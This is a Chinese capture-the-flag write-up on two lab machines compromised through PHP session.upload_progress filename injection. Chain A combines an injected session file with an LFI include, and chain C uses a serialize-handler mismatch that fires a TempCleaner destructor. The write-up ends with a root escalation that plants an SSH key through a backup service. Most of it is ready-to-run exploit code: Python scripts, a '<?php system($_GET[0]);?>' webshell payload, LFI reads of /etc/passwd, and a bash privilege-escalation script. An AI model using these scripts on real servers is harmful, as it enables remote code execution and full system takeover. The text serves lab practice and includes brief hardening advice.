vulnyx更新了一台hard难度的靶机,入口与群友出的靶机均为利用php2shell进行rce,故用ai撰写一小文以供复现和查阅
两台机器入口不同,但都靠 PHP 的 session.upload_progress 起步:
192.168.56.251 phpblog —— Typecho 博客,Apache + PHP-FPM 8.4.24。入口是两个页面:/usr/themes/classic-22/submit/(投稿上传)和 /usr/themes/classic-22/status/(投稿状态)。
192.168.56.252 BrokenTusk —— nginx + PHP-FPM 8.0.30。入口是一个 LFI:/vuln.php?page=...,源码就是 include($page)。
phpblog 走的是”会话格式错配 → 反序列化 → 析构函数执行命令”(仓库里的 C 链);BrokenTusk 走的是”把 PHP 代码写进会话文件 → 用 LFI 把会话文件当脚本包含”(A 链)。下面先把 php2shell 的共同底座讲清,再分别给两台机器的复现步骤,命令全部可以直接复制。
1. php2shell 的底座:PHP 自己把文件名写进会话文件 1.1 session.upload_progress 做了什么 PHP 有个默认开启的功能,叫 upload progress,作用是让浏览器能看到上传进度条。只要 multipart 表单里带一个名字叫 PHP_SESSION_UPLOAD_PROGRESS 的字段,PHP 就会在你的业务代码执行之前 自己 session_start(),然后把”正在传什么文件”写进会话文件。
会话文件路径是 session.save_path + /sess_<PHPSESSID>,默认 /tmp/sess_<PHPSESSID>。
关键在这:写进去的文件名是原样写入的 ,PHP 不做转义、不校验。所以攻击者控制了文件名,就等于控制了一小段”以后会被 PHP 自己再读回来”的字节。这条写入发生在请求最开头,不登录也能触发。
1.2 会话文件里那段字节长什么样 用 php_serialize 处理器写出来的会话文件大致是这样(后面 phpblog 靶机上的真实内容):
1 2 3 4 a :1 :{s:17 :"upload_progress_x" ;a :5 :{...s :5 :"files" ;a :1 :{i :0 ;a :7 :{ s:10 :"field_name" ;s:5 :"draft" ; s:4 :"name" ;s:60 :"x|O:11:\"TempCleaner\":1:{s:4:\"path\";s:16:\";id;#\";}" ; ...}}}}
name 字段的值,就是攻击者上传时填的文件名。A 链往这里塞 <?php ... ?>,C 链往这里塞 x|O:11:...。
1.3 写这一步的三个前置条件
session id 自己定 。session.use_strict_mode 默认是 0,客户端给的 PHPSESSID 会被直接接受,不用猜。
body 要先发够 5 KB 。PHP 按 5 KB 一块(FILLUNIT)解析 multipart,只发完请求头、文件体一个字节都没到,FILE_START 事件不会触发,进度记录根本不会落盘。所以先发至少 5 KB 内容,再把连接挂住。
cleanup 的两种处理 。session.upload_progress.cleanup 默认 On,上传一结束记录就被删,所以默认情况下要”挂住上传”,在挂住期间完成后面的动作;如果目标关了 cleanup(phpblog 就是),记录会一直留在会话文件里,事后慢慢用。
1.4 这个洞的底层 bug(B/D/E 链才需要) PHP 的 emalloc 分配失败时会走 zend_bailout(),一个 longjmp 直接蹦回请求边界,中间的清理全部跳过:
半初始化的结构体、已释放还被引用的指针 → 单请求内 UAF,CVE-2026-109618;
每个请求持有的全局变量被留在半截状态,常驻 worker 的下一个请求复用它 → 跨请求 UAF,CVE-2026-109619。
受影响版本 PHP ≤ 8.4.26、8.5 ≤ 8.5.11,修复版本 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12(commit 31c0ea7)。
仓库把整个 php2shell 拆成五条链:
1 2 3 4 5 A session_lfi upload_progress 把 PHP 代码写进会话文件 + LFI 包含 (任意 SAPI ,要 LFI )B unserialize_uaf var_destroy UAF 改函数表 (要能到 unserialize )C handler_mismatch 写 php_serialize / 读 php ,反序列化出对象触发 __destruct (FPM ,要 gadget )D oom_mod _php OOM 泄漏 ASLR + 伪造 HashTable (mod_php )E fpm_stale _bg FPM 会话解码 OOM 留下脏全局 (FPM ,要预置会话)
要点:A 和 C 其实不依赖内存破坏,它们是配置/应用设计问题。PHP 升到 8.4.27 能挡住 B/D/E,挡不住 A 和 C。两台靶机正好一个走 A、一个走 C。
参考:https://github.com/TheCyberGeek/php2shell-research/tree/main
2. BrokenTusk(.252):A 链,LFI 包含会话文件 2.1 先确认 LFI 1 2 3 4 5 6 curl -si "http://192.168.56.252/vuln.php?page=/etc/passwd"
源码直接读出来确认 sink:
1 curl -s "http://192.168.56.252/vuln.php?page=php://filter/convert.base64-encode/resource=/var/www/html/vuln.php" | base64 -d
输出:
1 2 3 <?php $page = isset ($_GET ['page' ]) ? $_GET ['page' ] : 'home' ;include ($page );
进程身份也读一下:
1 2 3 4 5 curl -s "http://192.168.56.252/vuln.php?page=/proc/self/cmdline" curl -s "http://192.168.56.252/vuln.php?page=/proc/self/status" | grep -i uid
web 进程是 www-data(uid 33),官方 php-fpm 镜像风格,/etc/php/8.0/fpm/php.ini 和 /usr/local/etc/php/php.ini 都不存在,session.save_path 走默认 /tmp。
2.2 攻击步骤 第 1 步,发一个”挂住的上传”,文件名里塞 PHP 代码。 (下面的内联版;完整可独立运行的脚本见附录 B chain_a_lfi.py)
文件名用 base64 化,避免 multipart 头里的引号、空格被转义:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import socket, time HOST = "192.168.56.252" SID = "aaaaaaaaaaaaaaaaaaaaaaaaaa" CODE = '<?php system($_GET[0]);?>' boundary = "----x" head = ( "--{b}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n" "--{b}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{code}\"\r\n\r\n" ).format (b=boundary, code=CODE).encode() body = head + b"Z" * 8192 total = len (body) + 500000 s = socket.create_connection((HOST, 80 )) s.sendall(( "POST /vuln.php HTTP/1.1\r\n" "Host: {h}\r\n" "Content-Type: multipart/form-data; boundary={b}\r\n" "Content-Length: {n}\r\n" "Cookie: PHPSESSID={sid}\r\n" "Connection: keep-alive\r\n\r\n" ).format (h=HOST, b=boundary, n=total, sid=SID).encode() + body)
第 2 步,趁上传挂着,用 LFI 把会话文件当 PHP 包含。
1 2 curl -s "http://192.168.56.252/vuln.php?page=/tmp/sess_aaaaaaaaaaaaaaaaaaaaaaaaaa&0=id"
include() 执行会话文件里的 <?php ... ?> 块,周围的序列化文本作为普通输出打印出来,无害。命令走 $_GET[0] 传进去。
2.3 三个容易卡住的点
会话文件路径要对 。默认 /tmp/sess_<SID>;如果目标改了 session.save_path,先用 LFI 读 php 配置定位。别按默认值硬猜就上报。
cleanup 要处理 。默认 On,上传一结束记录被删,所以必须”挂住上传”再 include;如果目标是 cleanup Off,可以传完再慢慢包含。
open_basedir / disable_functions 。open_basedir 不含 /tmp 时 include 会报 open_basedir restriction;system 被禁用就换 file_put_contents 写个 webshell 再包含。
3. phpblog(.251):C 链,会话格式错配触发反序列化 3.1 环境 Apache 2.4.68 + PHP-FPM 8.4.24,FPM 池用户是 momo(uid 1000),Typecho 1.3.0。两个页面都不需要登录:
1 2 /usr/ themes/classic-22/ submit/ 投稿上传表单/usr/ themes/classic-22/ status/ 投稿状态
submit/.user.ini 里写了:
1 session.serialize_handler =php_serialize
status/ 目录没有这个文件,用全局默认 php。这就是关键:同一个会话文件,写的时候用 php_serialize,读的时候用 php。
status/index.php 的代码(拿到 root 后回读确认过):
1 2 3 4 <?php require __DIR__ . '/../lib/TempCleaner.php' ; session_start (); $status = $_SESSION ['submit_status' ] ?? '暂无投稿记录' ;
lib/TempCleaner.php(还有个 .bak 可以直接下载):
1 2 3 4 5 6 7 8 9 10 11 <?php class TempCleaner { public $path = '' ; public function __destruct ( ) { if ($this ->path !== '' ) { system ('rm -rf ' . $this ->path . ' 2>/dev/null' ); } } }
3.2 为什么会执行命令 两种 session 处理器对 | 的理解不一样:
php 处理器把 | 当分隔符,格式是 键名|序列化值,读的时候按 | 切分;
php_serialize 处理器把整个数组一起序列化,| 只是普通字符。
所以 submit 页用 php_serialize 写出来的会话文件里,文件名带的一个 |,会被 status 页的 php 处理器当成”从这里开始是值”,把右边的字节丢给 unserialize()。
右边是 O:11:"TempCleaner":...,正好是前面加载好的类。对象构造出来之后,右边还有一串尾巴导致解析失败,PHP 走清理逻辑,把刚构造的对象销毁——__destruct 被执行,system('rm -rf ' . $path) 里的 $path 拼上 ;命令;# 就成命令执行。
3.3 复现 文件名字段直接填:
1 x |O:11 :"TempCleaner" :1 :{s:4 :"path" ;s:16 :";id;whoami;pwd;#" ;}
完整脚本见附录 A(pentest-192.168.56.251/exp/chain_c_rce.py),一条命令跑:
1 python3 exp/chain_c_rce.py -u http://192.168.56.251 -c "id;whoami;pwd"
输出:
1 2 3 uid =1000(momo) gid =1000(momo) groups =1000(momo) momo /var/www/blog/usr/themes/classic-22/status
命令回显出现在页面 HTML 之前,因为 __destruct 在请求收尾时才跑。
脚本里就两步:
1 2 3 4 5 6 7 8 POST /usr/themes/classic-22 /submit/ Content-Type : multipart/form-data; boundary=----X Cookie: PHPSESSID=<sid> GET /usr/themes/classic-22 /status/ Cookie: PHPSESSID=<sid>
3.4 机制物证 拿到 root 后回读会话文件,name 字段就是注入点:
1 2 root@phpblog:~ a:1 :{s:17 :"upload_progress_x" ;a:5 :{...s:4 :"name" ;s:60 :"x|O:11:" TempCleaner":1:{s:4:" path";s:16:" ;id ;whoami;pwd;
3.5 C 链的精确执行路径 1 2 3 4 5 6 7 php 处理器读 /tmp/sess_<SID> 找到第一个 '|' ,左边当键名,右边 var_unserialize() 构造出 O:11 :"TempCleaner" (path 可控) 右边还有 ";s:8:" tmp_name PHP_VAR_UNSERIALIZE_DESTROY(var_hash) 销毁已构造的对象 → TempCleaner::__destruct() system ('rm -rf ;id;whoami;pwd;# 2>/dev/null' )
注意”失败也要执行”这点:反序列化失败不是利用失败,对象已经建好了,清理阶段必须销毁它,析构函数正好在这个点上触发。
3.6 phpblog 的后半段:momo → root C 链给到的是 momo。这台机器上还有个 blogbackup.service,root 跑的,监听 127.0.0.1:9001,token 直接写在命令行里(ps 能看到)。它读的任务目录 /var/lib/blogbackup/jobs 和源目录 staging 都是 root:momo 组可写,白名单 ALLOWED_DESTS 里含 /root/.ssh/authorized_keys,落盘时 fchown(0,0)。
1 2 3 4 momo 身份写公钥到 /var/ lib/blogbackup/ staging/root_authorized_keys momo 写任务 /var/ lib/blogbackup/ jobs/rootkeys.json(dest=/ root/.ssh/ authorized_keys) curl -H 'X-Token: ...' -d '{"id":"rootkeys"}' http:// 127.0 .0.1 :9001 /restore ssh -i rootkey root@192.168 .56.251
id 输出 uid=0(root),flag 在 /root/7e934684eafe9fe6f1c32d6b06207c7f.txt。这部分是反序列化之后的本地提权,跟 php2shell 本身无关,但决定这台能不能拿到 root。
4. 两条链并排看 1 2 filename ──┬── "<php ... ?>" → include 包含时执行 (BrokenTusk / A) └── "x|O:11:..." → session_start 反序列化 (phpblog / C)
同一个写入点,两种弹药,下游 sink 不同:
BrokenTusk (.252) A 链
phpblog (.251) C 链
写会话
upload_progress 文件名注入 <?php
upload_progress 文件名注入 |O:
读会话
include($page)
session_start() 的 php 处理器
前置
一个 LFI
写读 handler 不一致 + 已加载的析构 gadget
落点
PHP 直接执行代码块
反序列化对象 → __destruct → system
难点
会话路径、open_basedir、cleanup 时序
类没加载 / handler 一致 / 没发够 5KB
phpblog 没有 LFI,A 链用不上;BrokenTusk 的 include 不会反序列化,C 链用不上。php2shell 只负责”把攻击者的字节写进会话文件”,具体怎么变成 RCE,看目标下游是什么。
5. 防御,简单带过 通用:
1 2 3 4 session.upload_progress.enabled = Off session.use_strict_mode = 1 session.upload_progress.cleanup = On session.save_path = /var/lib/php/sessions
A 链(BrokenTusk 这类):include 参数做白名单映射,别直接拼 $_GET['page'];open_basedir 排除 /tmp、/proc。
C 链(phpblog 这类):全站统一 session.serialize_handler,别按目录散落 .user.ini;不要在 session_start() 前加载带 __destruct/__wakeup 的类;危险类从 unserialize_allowed_classes 里拿掉;清理类别写 system('rm -rf '.$path) 这种拼接。
版本:升到 8.4.27 / 8.3.36 / 8.2.35 / 8.5.12,挡 B/D/E;A/C 不是版本问题,配置不改照样打。
参考
附录:利用脚本 A. phpblog C 链 RCE —— chain_c_rce.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 """ phpblog (.251) C 链 RCE:session.serialize_handler 不一致 -> TempCleaner::__destruct 用法: python3 chain_c_rce.py -u http://192.168.56.251 -c "id;whoami;pwd" 只做只读验证,请勿用本脚本执行破坏性命令。 """ import argparseimport http.clientimport socketimport sysimport timeimport uuidfrom urllib.parse import urlparsedef parse_url (u ): p = urlparse(u) tls = p.scheme == "https" return p.hostname, p.port or (443 if tls else 80 ), tlsdef build (sid, gadget, boundary ): filename = "x|" + gadget.replace('"' , '\\"' ) return ( "--%s\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n%s\r\n" "--%s\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n" "--%s\r\nContent-Disposition: form-data; name=\"draft\"; filename=\"%s\"\r\n\r\n" % (boundary, sid, boundary, boundary, filename) ).encode("latin-1" )def main (): ap = argparse.ArgumentParser(description="Session handler mismatch -> TempCleaner destructor RCE" ) ap.add_argument("-u" , "--target" , required=True , help ="http://host[:port]" ) ap.add_argument("-c" , "--cmd" , default="id" , help ="要执行的命令(默认 id,只读)" ) ap.add_argument("--sid" , default="" , help ="自定义 PHPSESSID" ) ap.add_argument("--upload-path" , default="/usr/themes/classic-22/submit/" ) ap.add_argument("--trigger-path" , default="/usr/themes/classic-22/status/" ) ap.add_argument("--no-stall" , action="store_true" , help ="目标 cleanup=Off 时用完整上传" ) a = ap.parse_args() host, port, tls = parse_url(a.target) sid = a.sid or ("pentest" + uuid.uuid4().hex [:16 ]) path = ";" + a.cmd + ";#" gadget = 'O:11:"TempCleaner":1:{s:4:"path";s:%d:"%s";}' % (len (path), path) boundary = "----EXPLOIT" + uuid.uuid4().hex [:8 ] payload = build(sid, gadget, boundary) + b"Z" * 40000 print ("[*] SID :" , sid) print ("[*] gadget :" , gadget) print ("[*] 注入点 :" , a.upload_path, "-> 触发读:" , a.trigger_path) s = socket.create_connection((host, port), timeout=15 ) if a.no_stall: tail = b"\r\n--" + boundary.encode() + b"--\r\n" hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n" % (a.upload_path, host, boundary, len (payload) + len (tail), sid)) s.sendall(hdr.encode() + payload + tail) s.close() else : hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n" % (a.upload_path, host, boundary, len (payload) + 500000 , sid)) s.sendall(hdr.encode() + payload) time.sleep(0.4 ) try : conn = http.client.HTTPConnection(host, port, timeout=20 ) conn.request("GET" , a.trigger_path, headers={"Cookie" : "PHPSESSID=" + sid}) r = conn.getresponse() text = r.read().decode("utf-8" , "replace" ) conn.close() finally : try : s.close() except Exception: pass out = text.split("<!doctype" )[0 ] print ("[*] 命令输出 ↓" ) print (out.strip() if out.strip() else "(空 —— 检查 SID / serialize handler / cleanup 设置)" ) return 0 if out.strip() else 1 if __name__ == "__main__" : sys.exit(main())
自测(只读 id):
1 2 3 $ python3 chain_c_rce.py -u http:[*] 命令输出 ↓ uid=1000 (momo) gid=1000 (momo) groups=1000 (momo)
B. BrokenTusk A 链 RCE —— chain_a_lfi.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 """ BrokenTusk (.252) A 链 RCE:upload_progress 文件名注入 PHP 代码 + LFI 包含会话文件 用法: python3 chain_a_lfi.py -u http://192.168.56.252 -c "id" """ import argparseimport socketimport timeimport uuidimport urllib.requestfrom urllib.parse import urlparsedef parse_url (u ): p = urlparse(u) return p.hostname, p.port or (80 if p.scheme == "http" else 443 ), p.schemedef main (): ap = argparse.ArgumentParser(description="upload_progress filename injection + LFI -> RCE (Phase A)" ) ap.add_argument("-u" , "--target" , required=True , help ="http://host[:port]" ) ap.add_argument("-c" , "--cmd" , default="id" , help ="要执行的命令(走 $_GET[0])" ) ap.add_argument("--lfi-path" , default="/vuln.php" , help ="LFI 脚本路径" ) ap.add_argument("--session-file" , default="" , help ="会话文件绝对路径(默认 /tmp/sess_<SID>)" ) ap.add_argument("--sid" , default="" , help ="自定义 PHPSESSID" ) ap.add_argument("--param" , default="page" , help ="LFI 的参数名" ) ap.add_argument("--no-stall" , action="store_true" , help ="目标 cleanup=Off 时用完整上传" ) a = ap.parse_args() host, port, scheme = parse_url(a.target) base = "%s://%s:%d" % (scheme, host, port) sid = a.sid or ("a" * 26 ) code = '<?php system($_GET[0]);?>' session_file = a.session_file or ("/tmp/sess_" + sid) boundary = "----x" + uuid.uuid4().hex [:8 ] head = ( "--%s\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nx\r\n" "--%s\r\nContent-Disposition: form-data; name=\"f\"; filename=\"%s\"\r\n\r\n" % (boundary, boundary, code) ).encode() payload = head + b"Z" * 8192 print ("[*] SID :" , sid) print ("[*] session file :" , session_file) s = socket.create_connection((host, port), timeout=15 ) if a.no_stall: tail = b"\r\n--" + boundary.encode() + b"--\r\n" hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: close\r\n\r\n" % (a.lfi_path, host, boundary, len (payload) + len (tail), sid)) s.sendall(hdr.encode() + payload + tail) s.close() else : hdr = ("POST %s HTTP/1.1\r\nHost: %s\r\nContent-Type: multipart/form-data; boundary=%s\r\n" "Content-Length: %d\r\nCookie: PHPSESSID=%s\r\nConnection: keep-alive\r\n\r\n" % (a.lfi_path, host, boundary, len (payload) + 500000 , sid)) s.sendall(hdr.encode() + payload) time.sleep(0.5 ) try : url = "%s%s?%s=%s&0=%s" % (base, a.lfi_path, a.param, session_file, a.cmd) print ("[*] 触发:" , url) req = urllib.request.Request(url, headers={"Cookie" : "PHPSESSID=" + sid}) body = urllib.request.urlopen(req, timeout=20 ).read().decode("utf-8" , "replace" ) finally : try : s.close() except Exception: pass print ("[*] 输出 ↓" ) print (body) return 0 if __name__ == "__main__" : raise SystemExit(main())
C. phpblog 提权 —— blogbackup_privesc.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 #!/usr/bin/env bash set -euo pipefail TARGET="${1:-http://192.168.56.251} " TOKEN="9718acaa5e4cf7bcf26a5abdfeb80fa0" KEY="rootkey" DIR="$(cd "$(dirname "$0 " ) " && pwd) " rce () { python3 "$DIR /chain_c_rce.py" -u "$TARGET " -c "$1 " }if [ ! -f "$KEY " ]; then ssh-keygen -t ed25519 -f "$KEY " -N '' -C "pentest-$(hostname) " -qfi echo "[*] 公钥: $(cat "$KEY .pub" ) " B64=$(base64 -w0 "$KEY .pub" ) rce "echo $B64 | base64 -d > /var/lib/blogbackup/staging/root_authorized_keys" JOB='{"id":"rootkeys","source":"/var/lib/blogbackup/staging/root_authorized_keys","dest":"/root/.ssh/authorized_keys","schedule":"manual"}' JOB_B64=$(printf '%s' "$JOB " | base64 -w0) rce "echo $JOB_B64 | base64 -d > /var/lib/blogbackup/jobs/rootkeys.json" rce "curl -s -m 15 -H 'X-Token: $TOKEN ' -H 'Content-Type: application/json' -d '{\"id\":\"rootkeys\"}' http://127.0.0.1:9001/restore" chmod 600 "$KEY " ssh -i "$KEY " -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@192.168.56.251 'id; whoami'